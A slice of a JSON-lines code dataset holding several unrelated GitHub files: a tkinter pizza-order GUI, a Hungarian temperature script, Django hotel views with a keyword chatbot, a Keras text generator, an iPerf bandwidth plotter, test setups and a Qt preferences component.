self._rb7.pack()\r\n self._ok_button2.pack()\r\n\r\n def show_size_choice(self):\r\n tkinter.messagebox.showinfo(\"You chose \" + str(self._radio_var3.get()))\r\n\r\n def toppings_choice_radio_button(self):\r\n self._10_frame = tkinter.Frame(self._main_window)\r\n self._11_frame = tkinter.Frame(self._main_window)\r\n self._12_frame = tkinter.Frame(self._main_window)\r\n self._13_frame = tkinter.Frame(self._main_window)\r\n self._14_frame = tkinter.Frame(self._main_window)\r\n self._pepporoni_label = tkinter.Label(self._10_frame, text=\"Enter how many pepperoni you want: \")\r\n self._pepporoni_entry = tkinter.Entry(self._10_frame, width=\"10\")\r\n self._pepporoni_label.pack(padx=10, pady=10, side=\"left\")\r\n self._pepporoni_entry.pack(padx=10, pady=10, side=\"left\")\r\n self._olives_label = tkinter.Label(self._11_frame, text=\"Enter how many olives you want: \")\r\n self._olives_entry = tkinter.Entry(self._11_frame, width=\"10\")\r\n self._olives_label.pack(padx=10, pady=10, side=\"left\")\r\n self._olives_entry.pack(padx=10, pady=10, side=\"left\")\r\n self._mushroom_label = tkinter.Label(self._12_frame, text=\"Enter how many mushrooms you want: \")\r\n self._mushroom_entry = tkinter.Entry(self._12_frame, width=\"10\")\r\n self._mushroom_label.pack(padx=10, pady=10, side=\"left\")\r\n self._mushroom_entry.pack(padx=10, pady=10, side=\"left\")\r\n self._value2 = tkinter.StringVar()\r\n self._toppings_label = tkinter.Label(self._13_frame, text=\"Your pizza cost: \")\r\n self._toppings2_label = tkinter.Label(self._13_frame, width=10, textvariable=self._value2)\r\n self._toppings_label.pack(padx=10, pady=10, side=\"left\")\r\n self._toppings2_label.pack(pady=10, padx=10, side=\"left\")\r\n self._submit_button2 = tkinter.Button(self._14_frame, text=\"Submit\", command=self.submit_callback2)\r\n self._submit_button2.pack(padx=10, pady=10, side=\"left\")\r\n self._10_frame.pack()\r\n self._11_frame.pack()\r\n self._12_frame.pack()\r\n self._13_frame.pack()\r\n self._14_frame.pack()\r\n\r\n def submit_callback2(self):\r\n text = self._pepporoni_entry.get()\r\n text1 = self._olives_entry.get()\r\n text2 = self._mushroom_entry.get()\r\n try:\r\n toppings = float(text)\r\n toppings1 = float(text1)\r\n toppings2 = float(text2)\r\n if self._rb5 == 7:\r\n cost = 10 + (toppings * 0.50) + (toppings1 * 0.50) + (toppings2 * 0.50)\r\n self._value2.set(str(round(cost, 2)))\r\n elif self._rb6 == 8:\r\n cost = 11.50 + (toppings * 0.50) + (toppings1 * 0.50) + (toppings2 * 0.50)\r\n self._value2.set(str(round(cost, 2)))\r\n elif self._rb7 == 9:\r\n cost = 13 + (toppings * 0.50) + (toppings1 * 0.50) + (toppings2 * 0.50)\r\n self._value2.set(str(round(cost, 2)))\r\n except:\r\n tkinter.messagebox.showerror(\"Error\", \"Please enter a number\")\r\n\r\n\r\n","repo_name":"musawaghu/Coding-Projects","sub_path":"GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":7510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"2954016166","text":"hofok = []\nprint(\"Írd be a mérésed eredményeit: (pl.: 21.68), végjel '0': \", end = \"\")\nfok = float(input())\nwhile (fok != 0):\n hofok.append(fok)\n print(\"Írd be a mérésed eredményeit: (pl.: 21.68), végjel '0': \", end = \"\")\n fok = float(input())\nprint(\"Írd be az elvárt átlag hőmérsékletet: \", end = \"\")\nelvart_fok = float(input())\nprint(\"Írd be a megengedett eltérést százalékban: \", end = \"\")\nszazalek = float(input())\n\nszazalek = elvart_fok * (szazalek / 100)\natlag = sum(hofok)/len(hofok)\n\nif (elvart_fok - szazalek) <= atlag and (elvart_fok + szazalek) >= atlag:\n print(\"Jók vagyunk!\")\nelse:\n print(\"Mindenki meg fog fagyni!\")\n","repo_name":"Warrards/agazat","sub_path":"homero.py","file_name":"homero.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"hu","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"2335840713","text":"\nfrom django.contrib.auth.models import User\nfrom django.http import HttpRequest, JsonResponse\nimport json\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.shortcuts import render, redirect\nfrom django.http import HttpRequest\nfrom service_app.models import MainService , SubService, Review , SubServiceRequest\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required, permission_required\nfrom django.contrib import messages\n# Create your views here.\nfrom guest_app.models import Guest\n\nfrom main_app.models import Hotel\n\n\ndef home(request: HttpRequest):\n \"\"\"Rendering the home page template\"\"\"\n services = MainService.objects.all()[:3]\n return render(request, 'main_app/home.html', {\"services\": services})\n\n@login_required\ndef history(request: HttpRequest):\n \"\"\"Rendering the history page template\"\"\"\n try:\n main_services = MainService.objects.all()\n guest = Guest.objects.get(name=request.user.username)\n user_requests = SubServiceRequest.objects.filter(room=guest.room)\n\n return render(request, 'main_app/history.html', {\"user_requests\": user_requests})\n except:\n return render(request,'main_app/home.html')\n\n@login_required\ndef order(request: HttpRequest, main_services_id):\n try:\n sub_services_all = SubService.objects.all()\n main_services = MainService.objects.get(id=main_services_id)\n sub_service = SubService.objects.filter(main_service=main_services)\n guest = Guest.objects.get(name=request.user.username)\n\n\n total_price = 0\n context = {\n 'sub_service': sub_service,\n 'total_price': total_price,\n 'sub_service_all': sub_services_all,\n 'main_service': main_services,\n \"guest\": guest\n }\n\n\n return render(request, 'main_app/order.html', context)\n except:\n return redirect('main_app:home')\n\n\ndef maps(request:HttpRequest):\n return render(request,'main_app/maps.html')\n\n\n\n\n\n@csrf_exempt\n@login_required\ndef chatbot(request):\n try:\n if request.method == 'POST':\n data = json.loads(request.body)\n clean_data = list(data.values())\n\n # Remove leading and trailing whitespace from each value\n clean_data = [value.strip() for value in clean_data]\n\n # Access the clean text or join the values together\n clean_text = ' '.join(clean_data)\n user_input = request.POST.get('message')\n print(clean_text)\n # Define the chatbot's responses for different questions\n answer_list=['please choose one :\\n\\n'\n '-check in \\n\\n\\n'\n '-check out \\n\\n\\n'\n '-breakfast\\n\\n\\n'\n '-wifi\\n\\n'\n '-room service\\n\\n'\n '-pool\\n\\n'\n '-restaurant\\n\\n']\n\n responses = {\n 'hi': 'Hello! How can I assist you today?',\n 'hello': 'Hello! How can I assist you today?',\n 'check in': 'The check-in time is at 3:00 PM.',\n 'check out': 'The check-out time is at 11:00 AM.',\n 'breakfast': 'Yes, we offer complimentary breakfast for all guests.',\n 'parking': 'Yes, we have free parking available for our guests.',\n 'wifi': 'Yes, we provide free Wi-Fi access in all rooms and public areas.',\n 'room service': 'Yes, we offer 24-hour room service.',\n 'pool': 'Yes, we have an outdoor pool for guests to enjoy.',\n 'gym': 'Yes, we have a fully equipped gym available for guests to use.',\n 'thank you': 'You\\'re welcome! If you have any more questions, feel free to ask.',\n 'by': 'Goodbye! Have a great day!'\n\n }\n\n responses_more={\n 'restaurant': 'Yes, we have an on-site restaurant that serves breakfast, lunch, and dinner.',\n 'room types': 'We offer a variety of room types including standard rooms, suites, and deluxe rooms.',\n 'amenities': 'Our hotel amenities include a spa, concierge service, business center, and laundry facilities.',\n 'pet-friendly': 'Yes, we are a pet-friendly hotel. Additional charges may apply.',\n 'cancellation policy': 'Our cancellation policy allows free cancellation up to 24 hours before check-in.',\n 'local attractions': 'Some popular local attractions near our hotel include museums, parks, and shopping centers.',\n 'nearest airport': 'The nearest airport is XYZ Airport, located approximately 10 miles away from our hotel.',\n 'special offers': 'We have special offers and packages available. Please visit our website for more details.',\n }\n\n # Check if the user's message matches any of the predefined questions\n if clean_text in responses :\n return JsonResponse({'response': responses[clean_text]})\n elif clean_text in responses_more:\n return JsonResponse({'response': responses_more[clean_text]})\n\n # If the user's message doesn't match any predefined questions, provide a default response\n return JsonResponse({'response': answer_list})\n\n return render(request, 'main_app/chatbot.html')\n except:\n return redirect('main_app:home')\n\n\ndef services(request: HttpRequest):\n try:\n return render(request, 'main_app/services.html')\n except:\n return redirect('main_app:home')\n\ndef about(request: HttpRequest):\n return render(request, 'main_app/about.html')\n\n\n\ndef logout_page(request: HttpRequest):\n logout(request)\n return redirect('main_app:home')\n\ndef add_review(request: HttpRequest):\n try:\n if request.method == \"POST\":\n\n new_review = Review(\n name= request.POST['name'],content=request.POST[\"content\"], rating=request.POST[\"rating\"])\n new_review.save()\n\n\n return redirect(\"service_app:service\")\n except:\n return redirect('main_app:home')\n\n\ndef entertainment(request: HttpRequest):\n try:\n hotel = Hotel.objects.first() # Get a specific hotel instance\n city = hotel.city.lower() # Access the city attribute of the hotel\n\n saudi_vist = f\"https://www.visitsaudi.com/en/see-do/destinations/{city}\"\n return redirect(saudi_vist)\n except:\n return redirect('main_app:home')\n\n","repo_name":"Mrsos07/Nazeel","sub_path":"NazeelPro/main_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6800,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"12426149076","text":"from django.core.management import BaseCommand\nfrom utils.lang_chain import LangChainConnector\n\n\nclass Command(BaseCommand):\n \"\"\"Sync plans from stripe.\"\"\"\n\n help = \"Sync Subscription from stripe.\"\n\n def handle(self, *args, **options):\n pdf_urls = [\n \"https://www.learnandmaster.com/resources/Learn-and-Master-Guitar-Lesson-Book.pdf\",\n \"https://www.thisisclassicalguitar.com/wp-content/uploads/2021/03/Classical-Guitar-Method-Vol1-2020.pdf\"\n ]\n parser = LangChainConnector()\n parser.ingest_pdf(pdf_urls)\n # parser.query(\"What is C Chord?\")\n","repo_name":"notty-geek/BookGpt","sub_path":"services/parser/management/commands/parse_pdf.py","file_name":"parse_pdf.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41376813922","text":"import unittest\n\nfrom six import StringIO\n\nfrom petrel.topologybuilder import TopologyBuilder\nfrom petrel.emitter import Spout, BasicBolt\n\n\nclass RandomSentenceSpout(Spout):\n def __init__(self, execution_command=None):\n super(RandomSentenceSpout, self).__init__(script='randomsentence.py')\n\n def declareOutputFields(self):\n return ['sentence']\n\n\nclass SplitSentence(BasicBolt):\n def __init__(self, execution_command=None):\n super(SplitSentence, self).__init__(script='splitsentence.py')\n\n def declareOutputFields(self):\n return ['word']\n\n\nclass WordCount(BasicBolt):\n def __init__(self, execution_command=None):\n super(WordCount, self).__init__(script='wordcount.py')\n\n def declareOutputFields(self):\n return ['word', 'count']\n\n\nclass TestTopology(unittest.TestCase):\n def test1(self):\n # Build a topology\n builder = TopologyBuilder()\n builder.setSpout(\"spout\", RandomSentenceSpout(), 5)\n builder.setBolt(\"split\", SplitSentence(), 8).shuffleGrouping(\"spout\")\n builder.setBolt(\"count\", WordCount(), 12).fieldsGrouping(\"split\", [\"word\"])\n\n # Save the topology. \n io_out = StringIO()\n builder.write(io_out)\n \n # Read the topology.\n io_in = StringIO(io_out.getvalue())\n topology = builder.read(io_in)\n \n # Verify the topology settings were saved and loaded correctly.\n self.assertEqual(['spout'], topology.spouts.keys())\n self.assertEqual(['count', 'split'], sorted(topology.bolts.keys()))\n\n spout = topology.spouts['spout']\n self.assertEqual('python2.7', spout.spout_object.shell.execution_command)\n self.assertEqual('randomsentence.py', spout.spout_object.shell.script)\n self.assertEqual(['default'], sorted(spout.common.streams.keys()))\n self.assertEqual(['sentence'], spout.common.streams['default'].output_fields)\n self.assertEqual(False, spout.common.streams['default'].direct)\n\n bolt = topology.bolts['split']\n self.assertEqual('python2.7', bolt.bolt_object.shell.execution_command)\n self.assertEqual('splitsentence.py', bolt.bolt_object.shell.script)\n self.assertEqual(['default'], sorted(bolt.common.streams.keys()))\n self.assertEqual(['word'], bolt.common.streams['default'].output_fields)\n self.assertEqual(False, bolt.common.streams['default'].direct)\n\n bolt = topology.bolts['count']\n self.assertEqual('python2.7', bolt.bolt_object.shell.execution_command)\n self.assertEqual('wordcount.py', bolt.bolt_object.shell.script)\n self.assertEqual(['default'], sorted(bolt.common.streams.keys()))\n self.assertEqual(['word', 'count'], bolt.common.streams['default'].output_fields)\n self.assertEqual(False, bolt.common.streams['default'].direct)\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"AirSage/Petrel","sub_path":"petrel/petrel/tests/test_topology.py","file_name":"test_topology.py","file_ext":"py","file_size_in_byte":2900,"program_lang":"python","lang":"en","doc_type":"code","stars":247,"dataset":"github-code","pt":"3"} +{"seq_id":"70123418641","text":"import sys\n\nsys.path.append('../')\nfrom beedriver import get_beedriver\n\nBEHAVE_DEBUG_ON_ERROR = False\n\ndef setup_debug_on_error(userdata):\n global BEHAVE_DEBUG_ON_ERROR\n BEHAVE_DEBUG_ON_ERROR = userdata.getbool(\"BEHAVE_DEBUG_ON_ERROR\")\n\ndef before_all(context):\n setup_debug_on_error(context.config.userdata)\n context.BeeDriver = get_beedriver\n\ndef after_step(context, step):\n if BEHAVE_DEBUG_ON_ERROR and step.status == \"failed\":\n # -- ENTER DEBUGGER: Zoom in on failure location.\n # NOTE: Use IPython debugger, same for pdb (basic python debugger).\n import ipdb\n ipdb.post_mortem(step.exc_traceback)\n\n\ndef before_scenario(context, scenario):\n context.browsers = dict()\n browsers_names = ['engager', 'office', 'livechat', 'switcher']\n for browser_name in browsers_names:\n context.browsers[browser_name] = dict()\n\n\ndef after_scenario(context, scenario):\n for browser_name in context.browsers.keys():\n for browser_index in context.browsers[browser_name].keys():\n if scenario.status == 'failed':\n screenshot_name = browser_name + '-' + browser_index + '-' + scenario.name.replace(' ', '_')\n context.browsers[browser_name][browser_index].save_screenshot('screenshots/' + screenshot_name + '.png')\n\n context.browsers[browser_name][browser_index].quit()\n\n del context.browsers\n","repo_name":"Masorad/bdd_test","sub_path":"features/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41581011985","text":"class TextModel():\n def __init__(self, data):\n self.data = data\n\n self.log_level = 0\n\n self.filler = \"UNK\" # CHANGE THIS REGULARLY\n self.vocab = self.extract_vocab(data)\n self.word2idx = {u:i for i, u in enumerate(self.vocab)} # converts from words to integer indexes\n self.idx2word = np.array(self.vocab) # converts some integer to words\n\n self.bs = 1 # BATCH SIZE (change?)\n self.build()\n \n self.checkpoint_cb = self.model_checkpoint_callback()\n\n def __repr__(self):\n # not as necessary, but always useful for testing\n return f\"\"\"TextModel:\\n{self.word2idx}\"\"\"\n \n def class_error(self, e):\n print(type(e))\n print(e.args)\n\n def build(self, model=None):\n \n self.optional_print(\"Building model...\", printout=True if self.log_level > 0 else False)\n\n try:\n\n if not model:\n self.model = Sequential()\n\n vocab_size = len(self.vocab)\n embed_dim = 256\n rnn_units = 1024\n\n self.model.add(Embedding(vocab_size,\n embed_dim,\n batch_input_shape=[self.bs,None]))\n\n self.model.add(GRU(rnn_units,\n return_sequences=True,\n stateful=True,\n recurrent_initializer=\"glorot_uniform\",\n input_dim=[100,1,256]))\n\n self.model.add(Dense(vocab_size))\n \n else:\n self.model = model\n print(\"Built from given model.\")\n\n self.model.compile(optimizer=\"adam\",\n loss=self.loss,\n metrics=[tf.keras.metrics.SparseCategoricalAccuracy()])\n except:\n print(\"Failed to build.\")\n \n def load(self):\n\n from dotenv import load_dotenv\n import os\n\n load_dotenv()\n\n ver = os.getenv(\"latest_version\")\n self.model = load_model(ver, custom_objects={\"loss\": self.loss})\n\n def model_checkpoint_callback(self, path=\"/tmp/checkpoints\"):\n return ModelCheckpoint(\n filepath=path,\n save_best_only=True,\n monitor=\"loss\"\n )\n \n def loss(self, y, y_hat):\n return tf.keras.losses.sparse_categorical_crossentropy(y,y_hat,from_logits=True)\n\n def set_ll(self, level:int=0): # figure out how much crap to print out. if we want lots of data, set high - lowest should be 0\n self.log_level = level if level >= 0 else 0\n\n def optional_print(self, *args, printout=True):\n if printout:\n print(*args)\n \n def text_to_int(self, text:str): # all data given to the model must be processed as integers/floats\n ints = []\n\n for w in text.lower().split():\n if w in self.word2idx:\n ints.append(self.word2idx[w])\n else:\n ints.append(self.word2idx[self.filler])\n\n return np.array(ints)\n\n def extract_vocab(self, data):\n\n with open(\"vocab.txt\", \"r\") as f:\n vocab = [w.strip(\"\\n\") for w in f.readlines()]\n \n vocab.append(self.filler)\n\n return vocab\n \n def fill_data(self, printout=False):\n try:\n self.samples = [x[0].lower() for x in data.values]\n\n remove_chars = [':', ';', ',', '“', '”', '\"', '.', '…', '’', '‘']\n for i in range(len(self.samples)):\n for char in remove_chars:\n self.samples[i] = self.samples[i].replace(char, \"\")\n\n self.max = len(max(self.samples, key=len).split()) + 1\n\n printed = 0\n\n for x in range(len(self.samples)):\n\n for i in self.samples[x].split():\n if i not in self.vocab:\n self.samples[x] = self.samples[x].replace(i, self.filler)\n \n if len(self.samples[x].split()) < self.max:\n difference = (self.max-len(self.samples[x].split()))\n \n self.samples[x] += (\" \"+self.filler)*difference\n\n printed += 1\n\n printout = False if printed > 10 else True\n \n except:\n print(\"String fill-out process has failed.\")\n \n def split_input_target(self, chunk): # text inputs are given to the model, but the model wants to *predict* - therefore, shift everything over by one to get the next few words.\n input_text = chunk[:-1]\n target_text = chunk[1:]\n return input_text, target_text\n\n def load_dataset(self):\n\n try:\n\n self.optional_print(\"Loading...\", printout=True if self.log_level > 0 else False)\n\n self.fill_data(printout=False if self.log_level < 2 else True)\n\n text = \" \".join(self.samples)\n\n text_as_int = self.text_to_int(text) # convert text to ints for reading by the model\n\n seq_len = self.max\n samples_per_epoch = len(self.samples)//seq_len\n print(seq_len)\n print(len(self.samples))\n print(samples_per_epoch)\n text_dataset = tf.data.Dataset.from_tensor_slices(text_as_int)\n sequences = text_dataset.batch(seq_len+1, drop_remainder=True)\n\n self.seq_len = seq_len\n\n self.dataset = sequences.map(self.split_input_target)\n\n bs = self.bs\n buffersize = 10000 # look up what this does, i forgot\n\n self.dataset = self.dataset.shuffle(buffersize).batch(bs, drop_remainder=True)\n\n return True\n \n except Exception as e:\n print(\"... uhh, failed to load dataset. Exception:\")\n self.class_error(e)\n \n def fit(self, epochs=1):\n try:\n self.model.fit(self.dataset,\n epochs=epochs,\n callbacks=[self.checkpoint_cb])\n print(\"Success.\")\n except Exception as e:\n print(\"Failed to fit model to data.\")\n self.class_error(e)\n \n def predict(self, input, gen_num, temp=0.1):\n input_eval = self.text_to_int(input)\n input_eval = tf.expand_dims(input_eval, 0)\n\n text_generated = []\n\n self.model.reset_states()\n for i in range(gen_num):\n preds = self.model(input_eval)\n preds = tf.squeeze(preds, 0)\n\n preds = preds/temp\n pred_id = tf.random.categorical(preds, num_samples=1)[-1,0].numpy()\n\n input_eval = tf.expand_dims([pred_id], 0)\n\n self.optional_print(\"pred_id:\", pred_id, printout=True if self.log_level > 2 else False)\n text_generated.append(self.idx2word[pred_id])\n \n return \" \".join(text_generated)\n","repo_name":"sethbabauta/deep-fake-quotes","sub_path":"ai/text_model_class.py","file_name":"text_model_class.py","file_ext":"py","file_size_in_byte":6852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71552377040","text":"from flask import Flask, render_template, request, jsonify\nimport logging\n\nimport pymongo\nfrom flask_pymongo import PyMongo\n\nfrom flask_opentracing import FlaskTracer\nfrom jaeger_client import Config\nfrom jaeger_client.metrics.prometheus import PrometheusMetricsFactory\nfrom prometheus_flask_exporter import PrometheusMetrics\n\nfrom opentelemetry import trace\nfrom opentelemetry.sdk.trace import TracerProvider\nfrom opentelemetry.sdk.resources import SERVICE_NAME, Resource\nfrom opentelemetry.exporter.jaeger.thrift import JaegerExporter\nfrom opentelemetry.sdk.trace.export import BatchSpanProcessor\nfrom opentelemetry.shim.opentracing_shim import create_tracer\nfrom opentelemetry.exporter.otlp.proto.grpc.trace_exporter import OTLPSpanExporter\n\n# jaeger\ndef tracerConfig():\n config = Config(\n config = {\n 'sampler': {\n 'type': 'const',\n 'param': 1,\n },\n 'logging': True,\n 'local_agent': {\n 'reporting_host': 'simplest-agent.observability.svc.cluster.local',\n 'reporting_port': 6831,\n }\n },\n service_name=\"service_backend\",\n validate=True,\n metrics_factory=PrometheusMetricsFactory(service_name_label=\"service_backend\")\n )\n return config.initialize_tracer()\n\napp = Flask(__name__)\nmetrics = PrometheusMetrics(app)\nmetrics.info(\"app_info\", \"Application info\", version=\"1.0.3\")\n\nlogging.getLogger(\"\").handlers = []\nlogging.basicConfig(format=\"%(message)s\", level=logging.DEBUG)\nlogger = logging.getLogger(__name__)\n\njaegerTracer = tracerConfig()\ntracing = FlaskTracer(jaegerTracer, True, app)\n\napp.config[\"MONGO_DBNAME\"] = \"example-mongodb\"\napp.config[\n \"MONGO_URI\"\n] = \"mongodb://example-mongodb-svc.default.svc.cluster.local:27017/example-mongodb\"\n\nmongo = PyMongo(app)\n\n\n@app.route(\"/\")\ndef homepage():\n with jaegerTracer.start_span('Parent Span') as span:\n span.log_kv({'event': 'This is parent span in home page'})\n with jaegerTracer.start_span('Child Span', child_of=span) as child_span:\n child_span.log_kv({'event': 'This is child span in home page'})\n return \"Hello World\"\n\n\n@app.route(\"/api\")\ndef my_api():\n answer = \"something\"\n return jsonify(repsonse=answer)\n\n@app.route('/findtestrecord')\ndef index():\n with jaegerTracer.start_span('Requesting Vendor site for record') as span:\n span.log_kv({'event': 'Specified record not found in vendor site'})\n return \"Record not found\", 400\n\n\n@app.route(\"/star\", methods=[\"POST\"])\ndef add_star():\n star = mongo.db.stars\n name = request.json[\"name\"]\n distance = request.json[\"distance\"]\n star_id = star.insert({\"name\": name, \"distance\": distance})\n new_star = star.find_one({\"_id\": star_id})\n output = {\"name\": new_star[\"name\"], \"distance\": new_star[\"distance\"]}\n return jsonify({\"result\": output})\n\n\nif __name__ == \"__main__\":\n app.run()\n","repo_name":"codertoddler/metrics-dashboard","sub_path":"reference-app/backend/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25968063681","text":"import os\nimport json\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\n\n\nfig = plt.figure()\nax1 = fig.add_subplot(1,1,1)\n\n\n# Read user config file for iPerf config\nf1 = open('config.json')\ndata1 = json.load(f1)\nf1.close()\n\n# Run iPerf with user config, and Output iPerf data to file\nexit_code = os.system(f\"iperf3 -c {data1['servip']} -i {data1['interval']} -t {data1['time']} --json > {data1['clilog']}\")\n# --connect-timeout {data1['timeout']} seems can't be applied by my iPerf version\n\n# Parse iPerf exit code and output file\nf2 = open(data1['clilog'])\n# data2 = json.load(f2)\ndata2 = json.loads(\"[{}]\".format(f2.read().replace('}\\n{', '},{')))\nf2.close()\n\nf3 = open('log.txt','w')\n\n#Plot iPerf output data in a graph\nfor run in data2:\n for interval in run['intervals']:\n test_end = interval['streams'][0]['end']\n test_start = interval['streams'][0]['start']\n test_time = test_end - test_start\n test_bits = (interval['streams'][0]['bytes'])* 8 / 10**6\n os.system(f\"echo {test_end},{test_bits} >> plot.txt\")\n if exit_code == 0:\n print(\"\\n Testing was successful!\")\n \n def animate(i):\n graph_data = open('plot.txt','r').read()\n lines = graph_data.split('\\n')\n tm = []\n bw = []\n for line in lines:\n if len(line) > 1:\n x, y = line.split(',')\n tm.append(float(x))\n bw.append(float(y))\n ax1.clear()\n ax1.plot(tm, bw)\n ani = animation.FuncAnimation(fig, animate, interval=1000)\n plt.show()\n\n else: \n error = data2[-1]['error']\n print(\"Testing was failed for the\", error)\n\n\n\nf3.close()\n","repo_name":"fermi-controls/5G-network-QoS","sub_path":"MVP1.py","file_name":"MVP1.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33270165437","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n**preferences_manager.py**\n\n**Platform:**\n Windows, Linux, Mac Os X.\n\n**Description:**\n Defines the :class:`PreferencesManager` Component Interface class.\n\n**Others:**\n\n\"\"\"\n\nfrom __future__ import unicode_literals\n\nimport os\nfrom PyQt4.QtCore import QStringList\nfrom PyQt4.QtCore import Qt\n\nimport foundations.common\nimport foundations.exceptions\nimport foundations.strings\nimport foundations.verbose\nimport umbra.ui.common\nfrom manager.QWidget_component import QWidgetComponentFactory\nfrom umbra.globals.constants import Constants\nfrom umbra.globals.runtime_globals import RuntimeGlobals\n\n__author__ = \"Thomas Mansencal\"\n__copyright__ = \"Copyright (C) 2008 - 2014 - Thomas Mansencal\"\n__license__ = \"GPL V3.0 - http://www.gnu.org/licenses/\"\n__maintainer__ = \"Thomas Mansencal\"\n__email__ = \"thomas.mansencal@gmail.com\"\n__status__ = \"Production\"\n\n__all__ = [\"LOGGER\", \"COMPONENT_UI_FILE\", \"PreferencesManager\"]\n\nLOGGER = foundations.verbose.install_logger()\n\nCOMPONENT_UI_FILE = os.path.join(os.path.dirname(__file__), \"ui\", \"Preferences_Manager.ui\")\n\n\nclass PreferencesManager(QWidgetComponentFactory(ui_file=COMPONENT_UI_FILE)):\n \"\"\"\n | Defines the :mod:`umbra.components.factory.preferences_manager.preferences_manager` Component Interface class.\n | It exposes Application preferences inside\n a dedicated `QDockWidget `_ window.\n \"\"\"\n\n def __init__(self, parent=None, name=None, *args, **kwargs):\n \"\"\"\n Initializes the class.\n\n :param parent: Object parent.\n :type parent: QObject\n :param name: Component name.\n :type name: unicode\n :param \\*args: Arguments.\n :type \\*args: \\*\n :param \\*\\*kwargs: Keywords arguments.\n :type \\*\\*kwargs: \\*\\*\n \"\"\"\n\n LOGGER.debug(\"> Initializing '{0}()' class.\".format(self.__class__.__name__))\n\n super(PreferencesManager, self).__init__(parent, name, *args, **kwargs)\n\n # --- Setting class attributes. ---\n self.deactivatable = False\n\n self.__dock_area = 2\n\n self.__engine = None\n self.__settings = None\n\n @property\n def dock_area(self):\n \"\"\"\n Property for **self.__dock_area** attribute.\n\n :return: self.__dock_area.\n :rtype: int\n \"\"\"\n\n return self.__dock_area\n\n @dock_area.setter\n @foundations.exceptions.handle_exceptions(foundations.exceptions.ProgrammingError)\n def dock_area(self, value):\n \"\"\"\n Setter for **self.__dock_area** attribute.\n\n :param value: Attribute value.\n :type value: int\n \"\"\"\n\n raise foundations.exceptions.ProgrammingError(\n \"{0} | '{1}' attribute is read only!\".format(self.__class__.__name__, \"dock_area\"))\n\n @dock_area.deleter\n @foundations.exceptions.handle_exceptions(foundations.exceptions.ProgrammingError)\n def dock_area(self):\n \"\"\"\n Deleter for **self.__dock_area** attribute.\n \"\"\"\n\n raise foundations.exceptions.ProgrammingError(\n \"{0} | '{1}' attribute is not deletable!\".format(self.__class__.__name__, \"dock_area\"))\n\n @property\n def engine(self):\n \"\"\"\n Property for **self.__engine** attribute.\n\n :return: self.__engine.\n :rtype: QObject\n \"\"\"\n\n return self.__engine\n\n @engine.setter\n @foundations.exceptions.handle_exceptions(foundations.exceptions.ProgrammingError)\n def engine(self, value):\n \"\"\"\n Setter for **self.__engine** attribute.\n\n :param value: Attribute value.\n :type value: QObject\n \"\"\"\n\n raise foundations.exceptions.ProgrammingError(\n \"{0} | '{1}' attribute is read only!\".format(self.__class__.__name__, \"engine\"))\n\n @engine.deleter\n @foundations.exceptions.handle_exceptions(foundations.exceptions.ProgrammingError)\n def engine(self):\n \"\"\"\n Deleter for **self.__engine** attribute.\n \"\"\"\n\n raise foundations.exceptions.ProgrammingError(\n \"{0} | '{1}' attribute is not deletable!\".format(self.__class__.__name__, \"engine\"))\n\n @property\n def settings(self):\n \"\"\"\n Property for **self.__settings** attribute.\n\n :return: self.__settings.\n :rtype: QSettings\n \"\"\"\n\n return self.__settings\n\n @settings.setter\n @foundations.exceptions.handle_exceptions(foundations.exceptions.ProgrammingError)\n def settings(self, value):\n \"\"\"\n Setter for **self.__settings** attribute.\n\n :param value: Attribute value.\n :type value: QSettings\n \"\"\"\n\n raise foundations.exceptions.ProgrammingError(\n \"{0} | '{1}' attribute is read only!\".format(self.__class__.__name__, \"settings\"))\n\n @settings.deleter\n @foundations.exceptions.handle_exceptions(foundations.exceptions.ProgrammingError)\n def settings(self):\n \"\"\"\n Deleter for **self.__settings** attribute.\n \"\"\"\n\n raise foundations.exceptions.ProgrammingError(\n \"{0} | '{1}' attribute is not deletable!\".format(self.__class__.__name__, \"settings\"))\n\n def activate(self, engine):\n \"\"\"\n Activates the Component.\n\n :param engine: Engine to attach the Component to.\n :type engine: QObject\n :return: Method success.\n :rtype: bool\n \"\"\"\n\n LOGGER.debug(\"> Activating '{0}' Component.\".format(self.__class__.__name__))\n\n self.__engine = engine\n\n self.__settings = self.__engine.settings\n\n self.activated = True\n return True\n\n @foundations.exceptions.handle_exceptions(foundations.exceptions.ProgrammingError)\n def deactivate(self):\n \"\"\"\n Deactivates the Component.\n \"\"\"\n\n raise foundations.exceptions.ProgrammingError(\n \"{0} | '{1}' Component cannot be deactivated!\".format(self.__class__.__name__, self.__name))\n\n def initialize_ui(self):\n \"\"\"\n Initializes the Component ui.\n\n :return: Method success.\n :rtype: bool\n \"\"\"\n\n LOGGER.debug(\"> Initializing '{0}' Component ui.\".format(self.__class__.__name__))\n\n umbra.ui.common.set_toolBox_height(self.Preferences_Manager_toolBox)\n\n self.__Logging_Formatters_comboBox_set_ui()\n self.__Verbose_Level_comboBox_set_ui()\n self.__Restore_Geometry_On_Layout_Change_checkBox_set_ui()\n\n # Signals / Slots.\n self.__engine.verbosity_level_changed.connect(self.__engine__verbosity_level_changed)\n self.Logging_Formatters_comboBox.activated.connect(self.__Logging_Formatters_comboBox__activated)\n 